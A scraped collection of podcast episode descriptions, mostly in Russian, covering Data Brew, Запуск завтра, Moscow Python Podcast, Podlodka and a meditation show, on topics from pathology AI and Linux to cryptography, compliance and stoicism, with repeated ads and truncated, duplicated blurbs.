For our fourth season, we focus on connected health and how data & AI augment and improve our daily health. While we’re at it, we’ll be enjoying our morning brew.Matt Willis, Marin County Public Health Officer, shares the three pillars of public health: education, access, and policy, and the critical role data plays in addressing the COVID-19 pandemic & opioid epidemic. See more at databricks.com/data-brew

For our fourth season, we focus on connected health and how data & AI augment and improve our daily health. While we’re at it, we’ll be enjoying our morning brew.Running the length of the US every year, Alexandra Matthiesen shares her motivational secrets for running 1,283 consecutive days (and counting!) and redefining physical and mental limits. See more at databricks.com/data-brew

For our fourth season, we focus on connected health and how data & AI augment and improve our daily health. While we’re at it, we’ll be enjoying our morning brew.Winner of the infamous Last Man Standing race (running 246 miles in 59 hours), Guillaume merges the world of competitive long-distance running with data science to push the boundaries of body and mind. See more at databricks.com/data-brew

For our fourth season, we focus on connected health and how data & AI augment and improve our daily health. While we’re at it, we’ll be enjoying our morning brew.Alexander Powell chronicles the evolution of sports analytics and how professional sports teams use data as a competitive advantage. See more at databricks.com/data-brew

For our fourth season, we focus on connected health and how data & AI augment and improve our daily health. While we’re at it, we’ll be enjoying our morning brew.Globally, 38,000 people get hurt on the job every hour. In the United States alone, over $250 billion dollars is spent on workplace injury annually. Sean Petterson, founder and CEO of StrongArm Tech, discusses the role of wearable devices to reduce workplace injury and increase retention of industrial athletes. See more at databricks.com/data-brew

Раньше врачи искали отклонения в клетках и тканях человека с помощью микроскопа. Сейчас в медицину проникают высокие технологии — компьютерное зрение и искусственный интеллект. В этом эпизоде врач-патологоанатом Артем Борбат рассказывает, как сканеры в лабораториях помогают получить диагноз в разы быстрее, а модели из миллиона клеток находят несколько больных. Реклама. Пройдите бесплатную часть курса до 30 ноября и получите 20% скидку на дальнейшее обучение от Яндекс Практикума. Промокод работает при определенных формах оплаты. Подробности по ссылке: https://clck.ru/32gxUZ Курсы MIT по медицинской инженерии: https://ocw.mit.edu/courses/6-s897-machine-learning-for-healthcare-spring-2019/ htt…

Бакунов был одним из самых публичных айтишников в России, а потом променял успешную корпоративную карьеру на стартапы в Киеве. В этом эпизоде Гриша (или Bobuk, как знают его многие технари) рассказывает, каким стал Яндекс после Ильи Сегаловича, почему он выбрал гэмблинг как следующую работу и как меняется украинская IT-тусовка. Подкаст Радио-Т: https://radio-t.com Telegram-канал Гриши: https://t.me/addmeto Подписаться на «Запуск++» в Телеграме: https://t.me/+N_AopnXC0dBkMGQy Подписаться на Либо/Либо+ в Телеграме, куда включены эпизоды «Запуск++»: https://t.me/+LXZx5JRqO4o0MjJi Чат Запуска в телеграме: https://t.me/zapuskzavtra Связаться: [email protected] Редакторка — Маша Агличева; Пр…

Когда-то компьютеры занимали целую комнату и весили тонны, а теперь в маленьком чипе вашего смартфона умещается та же вычислительная мощность. Происходит это благодаря одному предприятию, которое делает уникальное литографическое оборудование — компании ASML. Из этого эпизода вы узнаете, как современный процессор с миллиардом транзисторов связан с парящими платформами, таблицей Менделеева и Властелином колец, а расскажет об этом Диана Гришина, работавшая в ASML. Реклама. Ссылка на курсы для опытных разработчиков от Яндекс Практикума: https://clck.ru/32bXgv Ссылки: Сайт ASML: https://www.asml.com/en Инженеры на заводе ASML и «чистая комната»: https://www.youtube.com/watch?v=XxhCxf_QtGw Подпи…

Очереди в отделениях, потерянные посылки, бесконечное заполнение бумажек — многие помнят взаимодействие с почтой таким. Теперь забрать или отправить посылку можно за несколько минут, появилось приложение с удобным интерфейсом, а программисты рассчитывают оптимальную скорость движения конвертов на сортирочных конвейерах (да). Про то, как компания с репутацией слоупока встала на рельсы цифровизации и какие безумные технические задачи решает, рассказывает Николай Кныш, технический директор Почтатеха, цифрового отделения Почты России. Реклама. Ссылка на буткемпы Яндекс Практикума — интенсивные курсы, на которых можно быстро освоить профессию: https://clck.ru/32WwxB Подписаться на «Запуск++» в Т…

В 1991 году Линус Торвальдс учился в университете и захотел исправить недочеты в учебной операционке. Так появилось ядро Linux. Спустя 30 лет Linux насчитывает миллиарды пользователей, и почти все устройства, которые нас окружают, используют разработку Торвальдса под капотом. Разбираемся, как Linux прошел этот путь вместе с Георгием Курячим, разработчиком российского дистрибутива Linux. Реклама. Бесплатный курс по подготовке к алгоритмическому собеседованию от Яндекс Практикума: https://clck.ru/32S23E Сcылки YouTube-канал записей лекций Георгия: https://www.youtube.com/channel/UC6m3WI2mgZLj3LgNYWQNH6g Сайт UNИX: https://uneex.org/MainPage/ Сайт сообщества ALT Linux Team: https://www.altlinu…

Шрифтов сотни тысяч, а по-настоящему популярны из них, может быть, десяток. При этом продолжают появляться всё новые антиквы и гротески, дизайнеры тратят годы на доведение начертаний до идеала, а крупные компании инвестируют миллионы долларов в собственные шрифты. В этом эпизоде Илья Рудерман, шрифтовой дизайнер и сооснователь Type.Today и CSTM Fonts рассказывает, зачем нужно это многообразие, какой шрифт считать хорошим и почему шрифтовики — тоже немного программисты. Реклама. Курсы по программированию с нуля от Яндекс Практикума: https://clck.ru/32PJj9 Ссылки из эпизода: Сайт Type.today https://type.today/ru Шрифт lurk для Юрия Дудя https://type.today/ru/collection/lurk DrawBot https://ww…

В этом эпизоде продакт-менеджер Аня Булдакова рассказывает, как устроена ее работа. Выясняем, каких кандидатов ищут в FAANG, как отличалась позиция продакта в Facebook и Яндекс и сколько зарабатывают эти специалисты. Дока — дружелюбный опенсорсный справочник по веб-разработке: https://doka.guide/?utm_source=pr&utm_medium=podcast&utm_campaign=pr_podcast_zapusk-zavtra&utm_content=13oktober Рекомендации от Ани: Список полезных книг: https://nfng.pro/books/ Исследования Gartner по product management: https://www.gartner.com/en/product-management/research/all-research Книга «Inspired: How to create tech products customers love», автор Marty Cagan Книга «Web Scalability for Startup Engineers», ав…

Если вы программист, то скорее всего пользовались Stack Overflow для работы. Энтузиасты сайта уже ответили на миллионы прикладных вопросов, чтобы программисты не мучались с поиском решения по всему интернету. А ещё активным пользователям с прокачанными профилями постоянно пишут рекрутеры и предлагают работу. В этом эпизоде сотрудник компании Николай Чабановский рассказал Самату, как задавать хорошие вопросы и подняться в рейтинге на сайте, чтобы получить себе классную строчку в резюме. Реклама. Бесплатный курс по основам Go от Яндекс Практикума. Для тех, кто уже знаком с основами бэкенд-разработки: https://clck.ru/32CvGj Ссылки: Основной сайт Stack Overflow: https://stackoverflow.com/ Сайт …

В 2010 году энтузиасты из компании JetBrains решили сделать собственный язык программирования. Тысячи человек следили за его созданием и ждали релиза, а через 7 лет Google объявил Kotlin официальным языком для платформы Android. О том, как ребята прошли этот путь, в этом эпизоде рассказывает сам Андрей Бреслав — ex-руководитель Kotlin. Реклама. Попробовать бесплатную часть курсов по мобильной iOS и Android-разработке от Яндекс Практикума: https://clck.ru/32A8ef Подкаст «CTRL SHIFT!» от студии Либо/Либо: https://podcast.ru/1635964055 Ссылки из эпизода: Сайт языка: https://kotlinlang.org «Книга дракона»: Compilers: Principles, Techniques, and Tools. Alfred V. Aho, Monica S. Lam, Ravi Sethi, a…

«Запуск завтра» возвращается с восьмым сезоном! В первом эпизоде Самат разбирается в цифровом праве вместе с киберадвокатом Саркисом Дарбиняном. За что судят Tornado Cash? Нужно ли платить налоги на криптовалюту? Законно ли пользоваться VPN и Tor? Что делать, если у меня украли аккаунт в инстаграме? Задаем волнующие вопросы человеку, защищающему права пользователей в интернете. Бесплатный курс по профориентации в программировании от Яндекс Практикума: https://clck.ru/323qTh Ссылки из эпизода: Мониторинг преследования граждан за онлайн-публикации: https://blackscreen.report Сайт Роскомсвободы: https://roskomsvoboda.org Сайт Digital Rights Center: https://drc.law Киберправовая школа: https://…

Пройти наш опрос: https://form.typeform.com/to/e4324Qbq Netflix, Uber и Google тратят огромные бюджеты, постоянно придумывают новые гипотезы и проводят тысячи тестов в год. Но логика A/B тестирования подойдёт не только корпорациях, но любому бизнесу для самых разных задач — от выбора цвета кнопки до оценки целой механики работы сервиса. Разобраться в том, как устроена эта область, как рассчитываются результаты и как автоматизировать весь процесс, Самату помог Виталий Черемисинов — сооснователь компании EXPF. Бесплатный профориентационный курс от Яндекс Практикума: https://clck.ru/sbFyK Подкаст «СОБЕС» с Кирой Кузьменко: https://podcast.ru/1638899174 Компания Виталия: https://expf.ru Книжные…

Опрос для слушателей: https://form.typeform.com/to/e4324Qbq Продолжаем говорить о криптографии. В этом эпизоде Сергей Агафьин из компании КриптоПро рассказывает о физических носителях, оберегающих нашу информацию. Разбираемся, как создают и взламывают «флешки» с секретными ключами, магнитные карты и огромные модули безопасности, установленные в банках по всему миру. Этот подкаст мы делаем совместно с сервисом онлайн-образования Яндекс.Практикум: https://clck.ru/Pfti2 Рекомендации от Сергея: Книги по смарт-картам, например: «Смарт-карты. Настольная книга разработчика», авторы Т.М. Юргенсен и С.Б. Гатери Книга «Cryptographic engineering», автор Брюс Шнайер Конференции: Black Hat, CCC.de, РусК…

Если мы будем хранить наши переписки, пароли и номера банковских карт в исходном виде, их обязательно перехватят злоумышленники, поэтому данные в интернете шифруются. Но и с передачей зашифрованных сообщений есть проблема — нам нужно быть уверенными в том, что получатель тот, за кого себя выдаёт. Для этого используется развесистая инфраструктура с сертификатами и удостоверяющими центрами. В этом эпизоде Евгений Алексеев, начальник отдела криптографических исследований из компании КриптоПро, рассказывает, как работает шифрование, почему каждая страна стремится создать собственный криптографический алгоритм и почему до сих пор нет гарантированного способа защитить свою информацию. Курсы с инт…

Циан — это IT-команда из 250+ человек и 20 миллионов пользователей, ищущих квартиры ежемесячно. Вместе с техническим директором Алексеем Чекановым разбираемся, благодаря чему компания стала главным игроком на российском рынке недвижимости, как Циан защищает клиентов от мошенников и в чем сложности разработки сервиса такого масштаба. Школы наставников и ревьюеров Яндекс Практикума: https://practicum.yandex.ru/job/?utm_source=pr&utm_medium=podcast&utm_campaign=pr_podcast_job_zapuskzavtra Подписаться на «Запуск++» в Телеграме: https://t.me/+N_AopnXC0dBkMGQy Подписаться на Либо/Либо+ в Телеграме, куда включены эпизоды «Запуск++»: https://t.me/+LXZx5JRqO4o0MjJi Связаться: [email protected] …

В гостях у Moscow Python Podcast Python разработчик Юрий Бородич.. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geekfactor.io/international

В гостях у Moscow Python Podcast HRD компании Altenar Екатерина Фирсова. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geekfactor.io/international

В гостях у Moscow Python Podcast руководитель разработки Data Science компании Avito Олег Бугримов. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geekfactor.io/international

В гостях у Moscow Python Podcast VP of Engineering Константин Волков. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geekfactor.io/international

В гостях у Moscow Python Podcast Руководитель разработки компании IVA Technologies Александр Ковалев. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geekfactor.io/international

В гостях у Moscow Python Podcast Lead of HR Community Skolkovo Алиса Цапкова. Обсудили с Алисой зачем нужны хакатоны, советы и лайфхаки участникам хакатонов. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Skolkovo Hack 2022: https://codenrock.com/contests/skolkovo-hack-2022 Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за руб…

В гостях у Moscow Python Podcast Python Senior DevOps компании CLS Global Игорь Перепелицын. Обсудили с Игорем его путь в разработке, GitOps и как деплоиться без Kubernetes. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Pycon Russia: https://pycon.ru/ Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: http…

В гостях у Moscow Python Podcast Python Team Lead компании Райффайзенбанк Денис Аникин. Обсудили с Денисом какие способы деплоя Python приложения в прод сейчас есть. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Pycon Russia: https://pycon.ru/ Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geek…

В гостях у Moscow Python Podcast Python CTO проекта Speechki Павел Мальцев. Поговорили с Павлом о том, как и когда использовать Redis, какие там есть структуры данных и когда они будут полезны. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Pycon Russia: https://pycon.ru/ Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж…

В гостях у Moscow Python Podcast Python ML и DataOps lead компании Gett Семён Осипов. Поговорили с Семёном о его пути в разработке и что такое ML и DataOps и зачем он нужен. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Pycon Russia: https://pycon.ru/ Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: http…

В гостях у Moscow Python Podcast Python руководитель команды методистов на курсе Английский для разработчиков компании Яндекс.Практикум Маруся Горина и Python разработчик Лариса Петрова. Обсудили с Марусей и Ларисой какой уровень английского нужен разработчику. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Pycon Russia: https://pycon.ru/ Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week)…

В гостях у Moscow Python Podcast Python Team lead компании VK Group Юрий Орлов. Обсудили с Юрием его путь в программировании от джуна до тимлида. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Pycon Russia: https://pycon.ru/ Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geekfactor.io/internatio…

В гостях у Moscow Python Podcast Python руководитель группы разработки компании MTS AI Сурен Хоренян. Поговорили с Суреном о том, как быть техлидом и не мешать разработчикам. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geekfactor.io/international

В гостях у Moscow Python Podcast Python специалист по решению сложных технологических задач Александр Боргардт. Обсудили с Александром зачем устраивают конференции и как получить от них максимум пользы. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https:/…

В гостях у Moscow Python Podcast Python руководитель разработки компании МЕДСИ Digital Николай Фоминых. Обсудили с Николаем, что такое DDD, зачем оно нужно и как применяют в МЕДСИ. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский, Team Lead NVIDIA Злата Обуховская и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Конференция Merge: https://Mergeconf.ru Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа пом…

Каждая ваша транзакция в любом банке тщательно анализируется на предмет того, не пытаетесь ли вы с ее помощью отмыть деньги или профинансировать терроризм. Про то, по каким правилам работают эти системы, и как они реализованы, говорить обычно не принято. Наш гость Михаил, который много лет работает и в российском, и в зарубежном финтехе, рассказал нам про то, как регулируются финансовые операции, как реализованы compliance-системы, и про то, как банки выполняют возложенную на них роль финансовых полицейских. Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: ht…

Каждая ваша транзакция в любом банке тщательно анализируется на предмет того, не пытаетесь ли вы с ее помощью отмыть деньги или профинансировать терроризм. Про то, по каким правилам работают эти системы, и как они реализованы, говорить обычно не принято. Наш гость Михаил, который много лет работает и в российском, и в зарубежном финтехе, рассказал нам про то, как регулируются финансовые операции, как реализованы compliance-системы, и про то, как банки выполняют возложенную на них роль финансовых полицейских. Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: ht…

А что если в больших компаниях действительно слишком много команд и разработчиков? В гости позвали сертифицированного Scrum-тренера и автора книги Creating Agile Organizations Илью Павличенко и разобрались на чем компании теряют при масштабировании, и как можно было бы этих потерь избежать. Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/podlodkacast/ Twitter-аккаунт: https://twitter.com/PodlodkaPodcast Ведущие в выпуске:

Стас Цыганов, Егор Толстой Полезные ссылки: Creating Agile Organizations: …

А что если в больших компаниях действительно слишком много команд и разработчиков? В гости позвали сертифицированного Scrum-тренера и автора книги Creating Agile Organizations Илью Павличенко и разобрались на чем компании теряют при масштабировании, и как можно было бы этих потерь избежать. Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/podlodkacast/ Twitter-аккаунт: https://twitter.com/PodlodkaPodcast Ведущие в выпуске:

Стас Цыганов, Егор Толстой Полезные ссылки: Creating Agile Organizations: …

Множество замечательных идей не увидели свет, потому что авторы не смогли привлекательно их презентовать! Чтобы с вами этого не случилось, мы поговорили о том, как правильно «продавать» свои задумки, а помог нам с этим Артём Гусев, основатель Бюро Глагол. Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/podlodkacast/ Twitter-аккаунт: https://twitter.com/PodlodkaPodcast Ведущие в выпуске:

Женя Кателла, Катя Петрова Полезные ссылки: Бюро Глагол

https://glagol.me Ссылка на фреймворк

https://drive.go…

В эфире ваша любимая рубрика: «как устроены сложные штуки» 🤓. Мы уже не раз затрагивали тему голосовых ассистентов и их тестирования. Настало время фундаментальных вопросов — в этом выпуске разбираемся, как работают системы распознавания речи! Иван Бондаренко, старший преподаватель и научный сотрудник НГУ, рассказал из каких компонентов устроены типичные архитектуры таких систем, принцип их работы, и как системы эволюционируют, все больше полагаясь на нейронные сети. Не обошли стороной и практику и обсудили, как самому реализовать распознавание речи из open-source решений. Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах …

На продуктивность можно смотреть по-разному – через призму количества закрытых задач, достигнутых результатов, собственного wellbeing. В этом выпуске мы с Кириллом Мокевниным обсуждаем продуктивность владения инструментами разработки, достижение которой позволит вам увереннее входить в состояние потока и дольше в нем оставаться. Слепая печать, горячие клавиши, терминал, Vim и куча других способов оптимизировать свою рутину. «Золотое Яблоко» - №1 по выручке среди бьюти e-commerce России. А у приложения более 14 млн скачиваний. Ищем аналитиков 1С, системных аналитиков и администраторов, инженеров по тестированию, ведущих разработчиков BI, UX\UI дизайнеров и контент-менеджеров. Резюме присылай…

Микропроцессор – мозг, сердце любой системы. С Владимиром Туровым из Selectel прошлись по техническому устройству процессора, архитектурам. CPU по праву считается центральным элементом, обсудили как он взаимодействует с другими частями системы. А в конце традиционно разобрали эволюцию отрасли. Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/podlodkacast/ Twitter-аккаунт: https://twitter.com/PodlodkaPodcast Ведущие в выпуске:

Стас Цыганов, Евгений Кателла Полезные ссылки: Как запускается сервер

h…

Отвлекаемся от рабочих вопросов и обсуждаем в этом выпуске вино и связанную с ним культуру: в чем секрет винограда, как делают вино и как научиться в нем разбираться. Помогает нам Владимир Косенко, президент Московской Ассоциации сомелье. Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/podlodkacast/ Twitter-аккаунт: https://twitter.com/PodlodkaPodcast Ведущие в выпуске:

Женя Кателла, Стас Цыганов Полезные ссылки: Сайт Wine Folly

https://winefolly.com

Efficient as C, Expressive as Python, Elegant as Lisp. В этом выпуске вместе с Гавром продолжаем разбираемся с лучшим языком программирования – Nim. В этой части мы разбираем ключевые фичи языка, его недостатки, обозреваем экосистему и обсуждаем самые громкие кейсы применения в продакшене. Разверните отказоустойчивую инфраструктуру на 9 дата-центров Selectel в России и за рубежом: https://slc.tl/d55n8

Реклама, ООО «Селектел» Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/podlodkacast/ Twitter-а…

Efficient as C, Expressive as Python, Elegant as Lisp. В этом выпуске вместе с Гавром продолжаем разбираемся с лучшим языком программирования – Nim. В этой части мы разбираем ключевые фичи языка, его недостатки, обозреваем экосистему и обсуждаем самые громкие кейсы применения в продакшене. Разверните отказоустойчивую инфраструктуру на 9 дата-центров Selectel в России и за рубежом: https://slc.tl/d55n8

Реклама, ООО «Селектел» Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/podlodkacast/ Twitter-а…

Каждый раз, когда в Подлодке назревает связанная с финансами тема, мы зовем нашего главного финансового эксперта – Павла Комаровского. В этот раз он рассказал нам про то, как работает один из самых популярных видов криптовалют – стейблкойны. Мы разобрали до косточек все подходы к их реализации, сравнили друг с другом популярные валюты и разобрались с алгоритмом выбора монет для своего случая. Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/podlodkacast/ Twitter-аккаунт: https://twitter.com/Podlo…

С Сергеем Совой детально разобрали о чем думают в контексте архитектуры на фронте. Какие есть абстракции, какие есть подходы, как они между собой связаны. В первой части поговорили в верхнеуровневом разрезе уровня флоу данных, а во второй про низкоуровневые компоненты – кэши, хранилища, верстка и другие. Разверните отказоустойчивую инфраструктуру в Selectel и защитите ваш сайт или приложение от сбоев: https://slc.tl/3qir8

Реклама, ООО «Селектел» Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/po…

Стремительно идем к тому, чтобы ни одна C-level должность не осталась без нашего внимания! На сей раз вместе с Евгением Емельяновым разбираемся в том, чем занимается CPO, и как эта роль меняется в зависимости от компании. Бесплатный месяц доступа к подписке Epic+ по промокоду EPICLODKA для слушателей подкаста. Подборка контента от команды Подлодки: https://my.epicgrowth.ru/programs/podlodka?category_id=83508 А по промокоду PODLODKA_GROWTH получите скидку на второй сезон нашей совместной с Epic Growth онлайн-конференции Podlodka Product Crew! Тема сезона — «Продуктовая аналитика». https://podlodka.io/productcrew Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши ла…

Про новую нобелевскую премию по физике рассказывает Василий Севрюк — квантовый инженер IQM Quantum Computers.https://www.meetiqm.com/Support the show

Писатель и психолог из Японии написали книгу-диалог о том, что такое индивидуальная психология. Не будьте такими душными, давайте лучше - проветримся!Подпишись в Телеграм на канал @progulkaApplePodcasts ; GooglePodcasts ; Spotify ; Я.музыкаSupport the show

Книга Уильяма Ирвайна о том, чему современный человек может научиться у философов Греции и Рима. Не будьте такими душными, давайте лучше - проветримся!Подпишись в Телеграм на канал @progulkaApplePodcasts ; GooglePodcasts ; Spotify ; Я.музыкаSupport the show

Как Виктор Франкл попал в концлагерь и написал одну из главных работ по психологии второй половины двадцатого века.Не будьте такими душными, давайте лучше - проветримся!Подпишись в Телеграм на канал @progulkaApplePodcasts ; GooglePodcasts ; Spotify ; Я.музыкаSupport the show

Это тринадцатая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

Это двенадцатая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

Это одиннадцатая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

Это десятая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

Это девятая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

Это восьмая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

Это седьмая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

Это шестая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

Это пятая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

